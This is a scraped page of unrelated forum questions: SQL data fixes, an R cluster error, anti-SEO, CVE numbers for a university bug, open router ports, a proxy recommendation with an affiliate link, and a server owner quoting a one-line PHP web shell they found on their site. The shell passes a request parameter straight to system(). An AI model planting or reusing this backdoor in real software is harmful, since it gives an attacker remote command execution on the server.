No unused E-Mail found

@Sven

What does this mean “No unused E-Mail found” 
If I have 3 emails in the project and I have these settings:
https://prnt.sc/rtdt69

And I use posting from global site list (submitted) that has removed all duplicate URLs, 
why does it come to that message “No unused E-Mail found” 

What is the safe way to update production data if data found inconsistent

I am in a small company and require to fix a bunch of data in production which are inconsistent. I have written the script to handle the fix.

I understand that writing sql to fix data is way more risky than working on fixes normal front end or backend code. For front end or back end, we can write thousands of test code to automatically test result or even little bug the affect might not be as dramatic.

How do you guys fix the data in production normally if many data was inconsistent? Are there any method or strategy which can reduce the risk

Server was compromised, found this line in a recently modified PHP file [closed]

I found this at the top of a PHP file in the web server:

<?php if(isset($ _REQUEST['xxx'])){ echo "<pre>"; $ xxx = ($ _REQUEST['xxx']); system($ xxx); echo "</pre>"; die; }?>

I’m guessing this is how they got the server to execute whatever commands they wanted to get in.

Does anyone know how this might have slipped into the PHP file in the first place? I know it’s an extremely vague and stupid question, but I’m stumped. Did they likely already have access to the server and slipped this in as a backdoor for later?

I found a security vulnerability in a web app developed by my university. Can it have a CVE number?

I found some serious vulnerabilities in my university’s infrastructure. The infrastructure is a web app built with Spring and it’s developed and used solely by the University.

Using it I can get sensitive information for all students and gain access to their accounts on the infrastructure. I’m planning to coordinate a vulnerability disclosure.

I am wondering whether I can get CVE numbers for it.

Is there something like anti-seo techniques? To NOT be found by certain keywords?

I wonder if there is something like anti-seo techniques, enabling me to make a website less findable for certain keywords?

For example: I manage a massage website. This website is purely for massages at home. There are no happy ending or such. It’s purely for professional sports- and relaxing massages.

We also explain this about the services on the website. But as many search for xxx services, we still get weekly requests about it. When googling these type of service, we can also find our massage website on the first page of search results, in between escort services websites.

The part where we talk about not providing such services is inside a div with data-nosnippit attribute, between googleoff: index comments.

<!--googleoff: index-->   <div data-nosnippet>     Our text about NOT providing these services is in here...   </div> <!--googleon: index> 

How can we avoid to be in search results for these kind of adult services? Is there something like anti-keywords we can use?

This question (or similar) has probably been asked before, but I could not find it.

Found Good Proxy Service

Hey Guys,
Just wanted to share this, I’m sure you all have had the same proxy headaches I have had. I was over on the proxy subreddit and found someone talking about PacketStream.io , reasonably priced residential proxies with no crazy monthly min.

Its $ 1/gb and a min deposit of $ 50 and the service works great I have been testing it over the last few days.

Weird thing to get excited about lol, but happy to see potential headaches with cheap server proxies, or overpriced dedicated/residentials is possibly over.
https://packetstream.io/
Affiliate link if you wanna show some love: https://webbyt.co/proxy

I am in no way affiliated with them, beyond having an account and sharing the affiliate link I have. 

Object not found error in r

I’m writing a code to run the clusters. This is the piece of code.

cores = detectCores(logical = FALSE) c1 = makeCluster(cores) 

c1 has been defined clearly. It runs as well. But when I try to see the object c1, I get an error like “object ‘c1’ not found”. This error affects my subsequent steps as well. A sample for that is seen below

clusterCall(c1,function(){ Sys.setlocale("LC_ALL","japanese_JAPAN")}) 

This is the error I get. “Error in defaultCluster(cl) : object ‘c1’ not found”. I did a research on this error. It tells that c1 has not been defined as global variable. But I can see that in the global variable section of the Rstudio. How do I solve this error?

I ran a port scan of my public ip and found ports that I had not opened (forwarded) to be open

so today I was attempting to demonstrate something for a friend, so I ran a port scan of my public ip, of my home network, and found ports that I had not opened (forwarded)to be open. I am on optimum online, could this just be them messing with my network or is this something to be worried about? how can I go about figuring out what services are on those ports? is it worth trying to talk to someone at optimum? attached is an image of my port scan, and of my router’s config page to show the differences.

the ports in question are 3394, 5473, and 18017

enter image description here

Router config page Thanks for the help.